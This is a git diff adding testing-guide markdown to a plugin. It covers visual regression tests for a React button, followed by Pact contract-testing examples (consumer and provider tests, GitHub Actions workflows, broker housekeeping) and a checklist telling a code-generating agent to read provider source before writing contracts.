+- Ensure errors are announced to screen readers (`role="alert"`, `aria-live`)
+- Check color contrast meets WCAG standards
+
+### Example 4: Visual Regression Test
+
+**Context**: When testing components, capture screenshots to detect unintended visual changes. Use Playwright visual comparison or Cypress snapshot plugins.
+
+**Implementation**:
+
+```typescript
+// Playwright visual regression
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Visual Regression', () => {
+  test('should match primary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Primary" variant="primary" />);
+
+    // Capture and compare screenshot
+    await expect(component).toHaveScreenshot('button-primary.png');
+  });
+
+  test('should match secondary button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Secondary" variant="secondary" />);
+    await expect(component).toHaveScreenshot('button-secondary.png');
+  });
+
+  test('should match disabled button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Disabled" disabled={true} />);
+    await expect(component).toHaveScreenshot('button-disabled.png');
+  });
+
+  test('should match loading button snapshot', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component).toHaveScreenshot('button-loading.png');
+  });
+});
+
+// Cypress visual regression with percy or snapshot plugins
+import { Button } from './Button';
+
+describe('Button Visual Regression', () => {
+  it('should match primary button snapshot', () => {
+    cy.wrappedMount(<Button label="Primary" variant="primary" />);
+
+    // Option 1: Percy (cloud-based visual testing)
+    cy.percySnapshot('Button - Primary');
+
+    // Option 2: cypress-plugin-snapshots (local snapshots)
+    cy.get('button').toMatchImageSnapshot({
+      name: 'button-primary',
+      threshold: 0.01 // 1% threshold for pixel differences
+    });
+  });
+
+  it('should match hover state', () => {
+    cy.wrappedMount(<Button label="Hover Me" />);
+    cy.get('button').realHover(); // cypress-real-events
+    cy.percySnapshot('Button - Hover State');
+  });
+
+  it('should match focus state', () => {
+    cy.wrappedMount(<Button label="Focus Me" />);
+    cy.get('button').focus();
+    cy.percySnapshot('Button - Focus State');
+  });
+});
+
+// Playwright configuration for visual regression
+// playwright.config.ts
+export default defineConfig({
+  expect: {
+    toHaveScreenshot: {
+      maxDiffPixels: 100, // Allow 100 pixels difference
+      threshold: 0.2 // 20% threshold
+    }
+  },
+  use: {
+    screenshot: 'only-on-failure'
+  }
+});
+
+// Update snapshots when intentional changes are made
+// npx playwright test --update-snapshots
+```
+
+**Key Points**:
+
+- Playwright: Use `toHaveScreenshot()` for built-in visual comparison
+- Cypress: Use Percy (cloud) or snapshot plugins (local) for visual testing
+- Capture different states: default, hover, focus, disabled, loading
+- Set threshold for acceptable pixel differences (avoid false positives)
+- Update snapshots when visual changes are intentional
+- Visual tests catch unintended CSS/layout regressions
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (component test generation), `*automate` (component test expansion), `*framework` (component testing setup)
+- **Related fragments**:
+  - `test-quality.md` - Keep component tests <100 lines, isolated, focused
+  - `fixture-architecture.md` - Provider wrapping patterns, custom mount commands
+  - `data-factories.md` - Factory functions for component props
+  - `test-levels-framework.md` - When to use component tests vs E2E tests
+
+## TDD Workflow Summary
+
+**Red-Green-Refactor Cycle**:
+
+1. **Red**: Write failing test describing desired behavior
+2. **Green**: Implement minimal code to make test pass
+3. **Refactor**: Improve code quality, tests stay green
+4. **Repeat**: Each new feature starts with failing test
+
+**Component Test Checklist**:
+
+- [ ] Test renders with required props
+- [ ] Test user interactions (click, type, submit)
+- [ ] Test different states (loading, error, disabled)
+- [ ] Test accessibility (ARIA, keyboard navigation)
+- [ ] Test visual regression (snapshots)
+- [ ] Isolate with fresh providers (no state bleed)
+- [ ] Keep tests <100 lines (split by intent)
+
+_Source: CCTDD repository, Murat component testing talks, Playwright/Cypress component testing docs._
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/contract-testing.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/contract-testing.md
new file mode 100644
index 0000000..443c46a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/contract-testing.md
@@ -0,0 +1,1050 @@
+# Contract Testing Essentials (Pact)
+
+## Principle
+
+Contract testing validates API contracts between consumer and provider services without requiring integrated end-to-end tests. Store consumer contracts alongside integration specs, version contracts semantically, and publish on every CI run. Provider verification before merge surfaces breaking changes immediately, while explicit fallback behavior (timeouts, retries, error payloads) captures resilience guarantees in contracts.
+
+> **Pact.js Utils Note**: When `tea_use_pactjs_utils` is enabled, prefer the patterns in the `pactjs-utils-*.md` fragments over the raw Pact.js patterns shown below. The pactjs-utils library eliminates boilerplate for provider states, verifier configuration, and request filters. See `pactjs-utils-overview.md` for the decision tree.
+
+## Rationale
+
+Traditional integration testing requires running both consumer and provider simultaneously, creating slow, flaky tests with complex setup. Contract testing decouples services: consumers define expectations (pact files), providers verify against those expectations independently. This enables parallel development, catches breaking changes early, and documents API behavior as executable specifications. Pair contract tests with API smoke tests to validate data mapping and UI rendering in tandem.
+
+> **Recommended**: When `tea_use_pactjs_utils` is enabled, use `@seontechnologies/pactjs-utils` utilities instead of the manual patterns below. The library handles JsonMap conversion, verifier configuration, and request filter assembly automatically. See the `pactjs-utils-overview.md`, `pactjs-utils-consumer-helpers.md`, `pactjs-utils-provider-verifier.md`, and `pactjs-utils-request-filter.md` fragments for the simplified approach.
+
+## Pattern Examples
+
+### Example 1: Pact Consumer Test (Frontend → Backend API)
+
+**Context**: React application consuming a user management API, defining expected interactions.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, createUser, User } from '@/api/user-service';
+
+const { like, eachLike, string, integer } = MatchersV3;
+
+/**
+ * Consumer-Driven Contract Test
+ * - Consumer (React app) defines expected API behavior
+ * - Generates pact file for provider to verify
+ * - Runs in isolation (no real backend required)
+ */
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts', // Output directory for pact files
+  logLevel: 'warn',
+});
+
+describe('User API Contract', () => {
+  describe('GET /users/:id', () => {
+    it('should return user when user exists', async () => {
+      // Arrange: Define expected interaction
+      await provider
+        .given('user with id 1 exists') // Provider state
+        .uponReceiving('a request for user 1')
+        .withRequest({
+          method: 'GET',
+          path: '/users/1',
+          headers: {
+            Accept: 'application/json',
+            Authorization: like('Bearer token123'), // Matcher: any string
+          },
+        })
+        .willRespondWith({
+          status: 200,
+          headers: {
+            'Content-Type': 'application/json',
+          },
+          body: like({
+            id: integer(1),
+            name: string('John Doe'),
+            email: string('john@example.com'),
+            role: string('user'),
+            createdAt: string('2025-01-15T10:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          // Act: Call consumer code against mock server
+          const user = await getUserById(1, {
+            baseURL: mockServer.url,
+            headers: { Authorization: 'Bearer token123' },
+          });
+
+          // Assert: Validate consumer behavior
+          expect(user).toEqual(
+            expect.objectContaining({
+              id: 1,
+              name: 'John Doe',
+              email: 'john@example.com',
+              role: 'user',
+            }),
+          );
+        });
+    });
+
+    it('should handle 404 when user does not exist', async () => {
+      await provider
+        .given('user with id 999 does not exist')
+        .uponReceiving('a request for non-existent user')
+        .withRequest({
+          method: 'GET',
+          path: '/users/999',
+          headers: { Accept: 'application/json' },
+        })
+        .willRespondWith({
+          status: 404,
+          headers: { 'Content-Type': 'application/json' },
+          body: {
+            error: 'User not found',
+            code: 'USER_NOT_FOUND',
+          },
+        })
+        .executeTest(async (mockServer) => {
+          // Act & Assert: Consumer handles 404 gracefully
+          await expect(getUserById(999, { baseURL: mockServer.url })).rejects.toThrow('User not found');
+        });
+    });
+  });
+
+  describe('POST /users', () => {
+    it('should create user and return 201', async () => {
+      const newUser: Omit<User, 'id' | 'createdAt'> = {
+        name: 'Jane Smith',
+        email: 'jane@example.com',
+        role: 'admin',
+      };
+
+      await provider
+        .given('no users exist')
+        .uponReceiving('a request to create a user')
+        .withRequest({
+          method: 'POST',
+          path: '/users',
+          headers: {
+            'Content-Type': 'application/json',
+            Accept: 'application/json',
+          },
+          body: newUser,
+        })
+        .willRespondWith({
+          status: 201,
+          headers: { 'Content-Type': 'application/json' },
+          body: like({
+            id: integer(2),
+            name: string('Jane Smith'),
+            email: string('jane@example.com'),
+            role: string('admin'),
+            createdAt: string('2025-01-15T11:00:00Z'),
+          }),
+        })
+        .executeTest(async (mockServer) => {
+          const createdUser = await createUser(newUser, {
+            baseURL: mockServer.url,
+          });
+
+          expect(createdUser).toEqual(
+            expect.objectContaining({
+              id: expect.any(Number),
+              name: 'Jane Smith',
+              email: 'jane@example.com',
+              role: 'admin',
+            }),
+          );
+        });
+    });
+  });
+});
+```
+
+**package.json scripts** (when using pactjs-utils conventions, prefer `test:pact:consumer` naming — see `pact-consumer-framework-setup.md`):
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh"
+  }
+}
+```
+
+**Key Points**:
+
+- **Consumer-driven**: Frontend defines expectations, not backend
+- **Matchers (Postel's Law)**: Use `like`, `string`, `integer` matchers in `willRespondWith` (responses) for flexible matching. Do NOT use `like()` on request bodies in `withRequest` — the consumer controls what it sends, so request bodies should use exact values. This follows Postel's Law: be strict in what you send (requests), be lenient in what you accept (responses).
+- **Provider states**: given() sets up test preconditions
+- **Isolation**: No real backend needed, runs fast
+- **Pact generation**: Automatically creates JSON pact files
+
+---
+
+### Example 2: Pact Provider Verification (Backend validates contracts)
+
+**Context**: Node.js/Express API verifying pacts published by consumers.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api.provider.spec.ts
+import { Verifier, VerifierOptions } from '@pact-foundation/pact';
+import { server } from '../../src/server'; // Your Express/Fastify app
+import { seedDatabase, resetDatabase } from '../support/db-helpers';
+
+/**
+ * Provider Verification Test
+ * - Provider (backend API) verifies against published pacts
+ * - State handlers setup test data for each interaction
+ * - Runs before merge to catch breaking changes
+ */
+
+describe('Pact Provider Verification', () => {
+  let serverInstance;
+  const PORT = 3001;
+
+  beforeAll(async () => {
+    // Start provider server
+    serverInstance = server.listen(PORT);
+    console.log(`Provider server running on port ${PORT}`);
+  });
+
+  afterAll(async () => {
+    // Cleanup
+    await serverInstance.close();
+  });
+
+  it('should verify pacts from all consumers', async () => {
+    const opts: VerifierOptions = {
+      // Provider details
+      provider: 'user-api-service',
+      providerBaseUrl: `http://localhost:${PORT}`,
+
+      // Pact Broker configuration
+      pactBrokerUrl: process.env.PACT_BROKER_BASE_URL,
+      pactBrokerToken: process.env.PACT_BROKER_TOKEN,
+      publishVerificationResult: process.env.CI === 'true',
+      providerVersion: process.env.GITHUB_SHA || 'dev',
+
+      // State handlers: Setup provider state for each interaction
+      stateHandlers: {
+        'user with id 1 exists': async () => {
+          await seedDatabase({
+            users: [
+              {
+                id: 1,
+                name: 'John Doe',
+                email: 'john@example.com',
+                role: 'user',
+                createdAt: '2025-01-15T10:00:00Z',
+              },
+            ],
+          });
+          return 'User seeded successfully';
+        },
+
+        'user with id 999 does not exist': async () => {
+          // Ensure user doesn't exist
+          await resetDatabase();
+          return 'Database reset';
+        },
+
+        'no users exist': async () => {
+          await resetDatabase();
+          return 'Database empty';
+        },
+      },
+
+      // Request filters: Add auth headers to all requests
+      requestFilter: (req, res, next) => {
+        // Mock authentication for verification
+        req.headers['x-user-id'] = 'test-user';
+        req.headers['authorization'] = 'Bearer valid-test-token';
+        next();
+      },
+
+      // Timeout for verification
+      timeout: 30000,
+    };
+
+    // Run verification
+    await new Verifier(opts).verifyProvider();
+  });
+});
+```
+
+**CI integration**:
+
+```yaml
+# .github/workflows/contract-test-provider.yml
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start database
+        run: docker-compose up -d postgres
+
+      - name: Run migrations
+        run: npm run db:migrate
+
+      - name: Verify pacts
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I Deploy?
+        if: github.ref == 'refs/heads/main'
+        run: npm run can:i:deploy:provider
+```
+
+**Key Points**:
+
+- **State handlers**: Setup provider data for each given() state
+- **Request filters**: Add auth/headers for verification requests
+- **CI publishing**: Verification results sent to broker
+- **can-i-deploy**: Safety check before production deployment
+- **Database isolation**: Reset between state handlers
+
+---
+
+### Example 3: Contract CI Integration (Consumer & Provider Workflow)
+
+**Context**: Simplified overview of consumer and provider CI coordination. For the complete consumer CI workflow with env blocks, concurrency, and breaking-change detection, see `pact-consumer-framework-setup.md` Example 5.
+
+**Implementation**:
+
+```yaml
+# .github/workflows/contract-test-consumer.yml (Consumer side)
+# NOTE: Canonical naming is contract-test-consumer.yml per pactjs-utils conventions
+name: Pact Consumer Tests
+on:
+  pull_request:
+  push:
+    branches: [main]
+
+jobs:
+  consumer-tests:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      - name: Publish pacts to broker
+        run: npm run publish:pact
+
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+```yaml
+# .github/workflows/contract-test-provider.yml (Provider side)
+# NOTE: Canonical naming is contract-test-provider.yml per pactjs-utils conventions
+name: Pact Provider Verification
+on:
+  pull_request:
+  push:
+    branches: [main]
+  repository_dispatch:
+    types: [pact_changed] # Webhook from Pact Broker
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Setup Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Start dependencies
+        run: docker-compose up -d
+
+      - name: Run provider verification
+        run: npm run test:pact:provider:remote:contract
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+          GITHUB_SHA: ${{ github.sha }}
+          GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+      - name: Can I deploy provider? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:provider
+
+      - name: Record provider deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:provider:deployment --env=dev
+```
+
+**Pact Broker Webhook Configuration**:
+
+```json
+{
+  "events": [
+    {
+      "name": "contract_content_changed"
+    }
+  ],
+  "request": {
+    "method": "POST",
+    "url": "https://api.github.com/repos/your-org/user-api/dispatches",
+    "headers": {
+      "Authorization": "Bearer ${user.githubToken}",
+      "Content-Type": "application/json",
+      "Accept": "application/vnd.github.v3+json"
+    },
+    "body": {
+      "event_type": "pact_changed",
+      "client_payload": {
+        "pact_url": "${pactbroker.pactUrl}",
+        "consumer": "${pactbroker.consumerName}",
+        "provider": "${pactbroker.providerName}"
+      }
+    }
+  }
+}
+```
+
+**Key Points**:
+
+- **Automatic trigger**: Consumer pact changes trigger provider verification via webhook
+- **Branch tracking**: Pacts published per branch for feature testing
+- **can-i-deploy**: Safety gate before production deployment
+- **Record deployment**: Track which version is in each environment
+- **Parallel dev**: Consumer and provider teams work independently
+
+---
+
+### Example 4: Resilience Coverage (Testing Fallback Behavior)
+
+**Context**: Capture timeout, retry, and error handling behavior explicitly in contracts.
+
+**Implementation**:
+
+```typescript
+// tests/contract/user-api-resilience.pact.spec.ts
+import { PactV3, MatchersV3 } from '@pact-foundation/pact';
+import { getUserById, ApiError } from '@/api/user-service';
+
+const { like, string } = MatchersV3;
+
+const provider = new PactV3({
+  consumer: 'user-management-web',
+  provider: 'user-api-service',
+  dir: './pacts',
+});
+
+describe('User API Resilience Contract', () => {
+  /**
+   * Test 500 error handling
+   * Verifies consumer handles server errors gracefully
+   */
+  it('should handle 500 errors with retry logic', async () => {
+    await provider
+      .given('server is experiencing errors')
+      .uponReceiving('a request that returns 500')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+        headers: { Accept: 'application/json' },
+      })
+      .willRespondWith({
+        status: 500,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+          retryable: true,
+        },
+      })
+      .executeTest(async (mockServer) => {
+        // Consumer should retry on 500
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            retries: 3,
+            retryDelay: 100,
+          });
+          fail('Should have thrown error after retries');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('INTERNAL_ERROR');
+          expect((error as ApiError).retryable).toBe(true);
+        }
+      });
+  });
+
+  /**
+   * Test 429 rate limiting
+   * Verifies consumer respects rate limits
+   */
+  it('should handle 429 rate limit with backoff', async () => {
+    await provider
+      .given('rate limit exceeded for user')
+      .uponReceiving('a request that is rate limited')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 429,
+        headers: {
+          'Content-Type': 'application/json',
+          'Retry-After': '60', // Retry after 60 seconds
+        },
+        body: {
+          error: 'Too many requests',
+          code: 'RATE_LIMIT_EXCEEDED',
+        },
+      })
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            respectRateLimit: true,
+          });
+          fail('Should have thrown rate limit error');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('RATE_LIMIT_EXCEEDED');
+          expect((error as ApiError).retryAfter).toBe(60);
+        }
+      });
+  });
+
+  /**
+   * Test timeout handling
+   * Verifies consumer has appropriate timeout configuration
+   */
+  it('should timeout after 10 seconds', async () => {
+    await provider
+      .given('server is slow to respond')
+      .uponReceiving('a request that times out')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: like({ id: 1, name: 'John' }),
+      })
+      .withDelay(15000) // Simulate 15 second delay
+      .executeTest(async (mockServer) => {
+        try {
+          await getUserById(1, {
+            baseURL: mockServer.url,
+            timeout: 10000, // 10 second timeout
+          });
+          fail('Should have timed out');
+        } catch (error) {
+          expect(error).toBeInstanceOf(ApiError);
+          expect((error as ApiError).code).toBe('TIMEOUT');
+        }
+      });
+  });
+
+  /**
+   * Test partial response (optional fields)
+   * Verifies consumer handles missing optional data
+   */
+  it('should handle response with missing optional fields', async () => {
+    await provider
+      .given('user exists with minimal data')
+      .uponReceiving('a request for user with partial data')
+      .withRequest({
+        method: 'GET',
+        path: '/users/1',
+      })
+      .willRespondWith({
+        status: 200,
+        headers: { 'Content-Type': 'application/json' },
+        body: {
+          id: integer(1),
+          name: string('John Doe'),
+          email: string('john@example.com'),
+          // role, createdAt, etc. omitted (optional fields)
+        },
+      })
+      .executeTest(async (mockServer) => {
+        const user = await getUserById(1, { baseURL: mockServer.url });
+
+        // Consumer handles missing optional fields gracefully
+        expect(user.id).toBe(1);
+        expect(user.name).toBe('John Doe');
+        expect(user.role).toBeUndefined(); // Optional field
+        expect(user.createdAt).toBeUndefined(); // Optional field
+      });
+  });
+});
+```
+
+**API client with retry logic**:
+
+```typescript
+// src/api/user-service.ts
+import axios, { AxiosInstance, AxiosRequestConfig } from 'axios';
+
+export class ApiError extends Error {
+  constructor(
+    message: string,
+    public code: string,
+    public retryable: boolean = false,
+    public retryAfter?: number,
+  ) {
+    super(message);
+  }
+}
+
+/**
+ * User API client with retry and error handling
+ */
+export async function getUserById(
+  id: number,
+  config?: AxiosRequestConfig & { retries?: number; retryDelay?: number; respectRateLimit?: boolean },
+): Promise<User> {
+  const { retries = 3, retryDelay = 1000, respectRateLimit = true, ...axiosConfig } = config || {};
+
+  let lastError: Error;
+
+  for (let attempt = 1; attempt <= retries; attempt++) {
+    try {
+      const response = await axios.get(`/users/${id}`, axiosConfig);
+      return response.data;
+    } catch (error: any) {
+      lastError = error;
+
+      // Handle rate limiting
+      if (error.response?.status === 429) {
+        const retryAfter = parseInt(error.response.headers['retry-after'] || '60');
+        throw new ApiError('Too many requests', 'RATE_LIMIT_EXCEEDED', false, retryAfter);
+      }
+
+      // Retry on 500 errors
+      if (error.response?.status === 500 && attempt < retries) {
+        await new Promise((resolve) => setTimeout(resolve, retryDelay * attempt));
+        continue;
+      }
+
+      // Handle 404
+      if (error.response?.status === 404) {
+        throw new ApiError('User not found', 'USER_NOT_FOUND', false);
+      }
+
+      // Handle timeout
+      if (error.code === 'ECONNABORTED') {
+        throw new ApiError('Request timeout', 'TIMEOUT', true);
+      }
+
+      break;
+    }
+  }
+
+  throw new ApiError('Request failed after retries', 'INTERNAL_ERROR', true);
+}
+```
+
+**Key Points**:
+
+- **Resilience contracts**: Timeouts, retries, errors explicitly tested
+- **State handlers**: Provider sets up each test scenario
+- **Error handling**: Consumer validates graceful degradation
+- **Retry logic**: Exponential backoff tested
+- **Optional fields**: Consumer handles partial responses
+
+---
+
+### Example 5: Pact Broker Housekeeping & Lifecycle Management
+
+**Context**: Automated broker maintenance to prevent contract sprawl and noise.
+
+**Implementation**:
+
+```typescript
+// scripts/pact-broker-housekeeping.ts
+/**
+ * Pact Broker Housekeeping Script
+ * - Archive superseded contracts
+ * - Expire unused pacts
+ * - Tag releases for environment tracking
+ */
+
+import { execFileSync } from 'node:child_process';
+
+const PACT_BROKER_BASE_URL = process.env.PACT_BROKER_BASE_URL!;
+const PACT_BROKER_TOKEN = process.env.PACT_BROKER_TOKEN!;
+const PACTICIPANT = 'user-api-service';
+
+/**
+ * Tag release with environment
+ */
+function tagRelease(version: string, environment: 'staging' | 'production') {
+  console.log(`🏷️  Tagging ${PACTICIPANT} v${version} as ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'create-version-tag',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--tag',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Record deployment to environment
+ */
+function recordDeployment(version: string, environment: 'staging' | 'production') {
+  console.log(`📝 Recording deployment of ${PACTICIPANT} v${version} to ${environment}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'record-deployment',
+      '--pacticipant',
+      PACTICIPANT,
+      '--version',
+      version,
+      '--environment',
+      environment,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Clean up old pact versions (retention policy)
+ * Keep: last 30 days, all production tags, latest from each branch
+ */
+function cleanupOldPacts() {
+  console.log(`🧹 Cleaning up old pacts for ${PACTICIPANT}`);
+
+  execFileSync(
+    'pact-broker',
+    [
+      'clean',
+      '--pacticipant',
+      PACTICIPANT,
+      '--broker-base-url',
+      PACT_BROKER_BASE_URL,
+      '--broker-token',
+      PACT_BROKER_TOKEN,
+      '--keep-latest-for-branch',
+      '1',
+      '--keep-min-age',
+      '30',
+    ],
+    { stdio: 'inherit' },
+  );
+}
+
+/**
+ * Check deployment compatibility
+ */
+function canIDeploy(version: string, toEnvironment: string): boolean {
+  console.log(`🔍 Checking if ${PACTICIPANT} v${version} can deploy to ${toEnvironment}`);
+
+  try {
+    execFileSync(
+      'pact-broker',
+      [
+        'can-i-deploy',
+        '--pacticipant',
+        PACTICIPANT,
+        '--version',
+        version,
+        '--to-environment',
+        toEnvironment,
+        '--broker-base-url',
+        PACT_BROKER_BASE_URL,
+        '--broker-token',
+        PACT_BROKER_TOKEN,
+        '--retry-while-unknown',
+        '10',
+        '--retry-interval',
+        '30',
+      ],
+      { stdio: 'inherit' },
+    );
+    return true;
+  } catch (error) {
+    console.error(`❌ Cannot deploy to ${toEnvironment}`);
+    return false;
+  }
+}
+
+/**
+ * Main housekeeping workflow
+ */
+async function main() {
+  const command = process.argv[2];
+  const version = process.argv[3];
+  const environment = process.argv[4] as 'staging' | 'production';
+
+  switch (command) {
+    case 'tag-release':
+      tagRelease(version, environment);
+      break;
+
+    case 'record-deployment':
+      recordDeployment(version, environment);
+      break;
+
+    case 'can-i-deploy':
+      const canDeploy = canIDeploy(version, environment);
+      process.exit(canDeploy ? 0 : 1);
+
+    case 'cleanup':
+      cleanupOldPacts();
+      break;
+
+    default:
+      console.error('Unknown command. Use: tag-release | record-deployment | can-i-deploy | cleanup');
+      process.exit(1);
+  }
+}
+
+main();
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "pact:tag": "ts-node scripts/pact-broker-housekeeping.ts tag-release",
+    "pact:record": "ts-node scripts/pact-broker-housekeeping.ts record-deployment",
+    "pact:can-deploy": "ts-node scripts/pact-broker-housekeeping.ts can-i-deploy",
+    "pact:cleanup": "ts-node scripts/pact-broker-housekeeping.ts cleanup"
+  }
+}
+```
+
+**Deployment workflow integration**:
+
+```yaml
+# .github/workflows/deploy-production.yml
+name: Deploy to Production
+on:
+  push:
+    tags:
+      - 'v*'
+
+jobs:
+  verify-contracts:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Check pact compatibility
+        run: npm run pact:can-deploy ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+
+  deploy:
+    needs: verify-contracts
+    runs-on: ubuntu-latest
+    steps:
+      - name: Deploy to production
+        run: ./scripts/deploy.sh production
+
+      - name: Record deployment in Pact Broker
+        run: npm run pact:record ${{ github.ref_name }} production
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Scheduled cleanup**:
+
+```yaml
+# .github/workflows/pact-housekeeping.yml
+name: Pact Broker Housekeeping
+on:
+  schedule:
+    - cron: '0 2 * * 0' # Weekly on Sunday at 2 AM
+
+jobs:
+  cleanup:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Cleanup old pacts
+        run: npm run pact:cleanup
+        env:
+          PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+          PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+```
+
+**Key Points**:
+
+- **Automated tagging**: Releases tagged with environment
+- **Deployment tracking**: Broker knows which version is where
+- **Safety gate**: can-i-deploy blocks incompatible deployments
+- **Retention policy**: Keep recent, production, and branch-latest pacts
+- **Webhook triggers**: Provider verification runs on consumer changes
+
+---
+
+## Provider Scrutiny Protocol
+
+When generating consumer contract tests, the agent **MUST** analyze provider source code — or the provider's OpenAPI/Swagger spec — before writing any Pact interaction. Generating contracts from consumer-side assumptions alone leads to mismatches that only surface during provider verification — wrong response shapes, wrong status codes, wrong field names, wrong types, missing required fields, and wrong enum values.
+
+**Source priority**: Provider source code is the most authoritative reference. When an OpenAPI/Swagger spec exists (`openapi.yaml`, `openapi.json`, `swagger.json`), use it as a complementary or alternative source — it documents the provider's contract explicitly and can be faster to parse than tracing through handler code. When both exist, cross-reference them; if they disagree, the source code wins.
+
+### Provider Endpoint Comment
+
+Every Pact interaction MUST include a provider endpoint comment immediately above the `.given()` call:
+
+```typescript
+// Provider endpoint: server/src/routes/userRouteHandlers.ts -> GET /api/v2/users/:userId
+await provider.given('user with id 1 exists').uponReceiving('a request for user 1');
+```
+
+**Format**: `// Provider endpoint: <relative-path-to-handler> -> <METHOD> <route-pattern>`
+
+If the provider source is not accessible, use: `// Provider endpoint: TODO — provider source not accessible, verify manually`
+
+### Seven-Point Scrutiny Checklist
+
+Before generating each Pact interaction, read the provider route handler and/or OpenAPI spec and verify:
+
+| #   | Check                 | What to Read (source code / OpenAPI spec)                         | Common Mismatch                                               |
+| --- | --------------------- | ----------------------------------------------------------------- | ------------------------------------------------------------- |
+| 1   | **Response shape**    | Handler's `res.json()` calls / OpenAPI `responses.content.schema` | Nested object vs flat; array wrapper vs direct                |
+| 2   | **Status codes**      | Handler's `res.status()` calls / OpenAPI `responses` keys         | 200 vs 201 for creation; 204 vs 200 for delete                |
+| 3   | **Field names**       | Response type/DTO definitions / OpenAPI `schema.properties`       | `transaction_id` vs `transactionId`; `fraud_score` vs `score` |
+| 4   | **Enum values**       | Validation schemas, constants / OpenAPI `schema.enum`             | `"active"` vs `"ACTIVE"`; `"pending"` vs `"in_progress"`      |
+| 5   | **Required fields**   | Request validation (Joi, Zod) / OpenAPI `schema.required`         | Missing required header; optional field assumed required      |
